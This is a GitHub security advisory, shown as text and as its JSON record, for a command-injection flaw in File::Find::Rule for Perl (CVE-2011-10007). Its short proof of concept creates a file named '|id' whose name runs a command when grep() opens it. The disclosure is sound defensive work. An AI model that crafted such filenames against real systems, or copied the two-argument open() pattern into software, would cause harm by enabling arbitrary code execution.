ghsa-cvg9-q978-4569
Vulnerability from github
Published
2025-06-05 12:31
Modified
2025-06-06 06:30
Severity ?
8.8 (High) - CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
Details

File::Find::Rule through 0.34 for Perl is vulnerable to Arbitrary Code Execution when grep() encounters a crafted filename.

A file handle is opened with the 2 argument form of open() allowing an attacker controlled filename to provide the MODE parameter to open(), turning the filename into a command to be executed.

Example:

$ mkdir /tmp/poc; echo > "/tmp/poc/|id" $ perl -MFile::Find::Rule \     -E 'File::Find::Rule->grep("foo")->in("/tmp/poc")' uid=1000(user) gid=1000(user) groups=1000(user),100(users)

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{
  "affected": [],
  "aliases": [
    "CVE-2011-10007"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-78"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-06-05T12:15:22Z",
    "severity": "HIGH"
  },
  "details": "File::Find::Rule through 0.34 for Perl is vulnerable to Arbitrary Code Execution when `grep()` encounters a crafted filename.\n\nA file handle is opened with the 2 argument form of `open()` allowing an attacker controlled filename to provide the MODE parameter to `open()`, turning the filename into a command to be executed.\n\nExample:\n\n$ mkdir /tmp/poc; echo \u003e \"/tmp/poc/|id\"\n$ perl -MFile::Find::Rule \\\n\u00a0 \u00a0 -E \u0027File::Find::Rule-\u003egrep(\"foo\")-\u003ein(\"/tmp/poc\")\u0027\nuid=1000(user) gid=1000(user) groups=1000(user),100(users)",
  "id": "GHSA-cvg9-q978-4569",
  "modified": "2025-06-06T06:30:25Z",
  "published": "2025-06-05T12:31:09Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2011-10007"
    },
    {
      "type": "WEB",
      "url": "https://github.com/richardc/perl-file-find-rule/pull/4"
    },
    {
      "type": "WEB",
      "url": "https://github.com/richardc/perl-file-find-rule/commit/df58128bcee4c1da78c34d7f3fe1357e575ad56f.patch"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2025/06/msg00006.html"
    },
    {
      "type": "WEB",
      "url": "https://metacpan.org/release/RCLAMP/File-Find-Rule-0.34/source/lib/File/Find/Rule.pm#L423"
    },
    {
      "type": "WEB",
      "url": "https://rt.cpan.org/Public/Bug/Display.html?id=64504"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2025/06/05/4"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2025/06/06/1"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2025/06/06/3"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}


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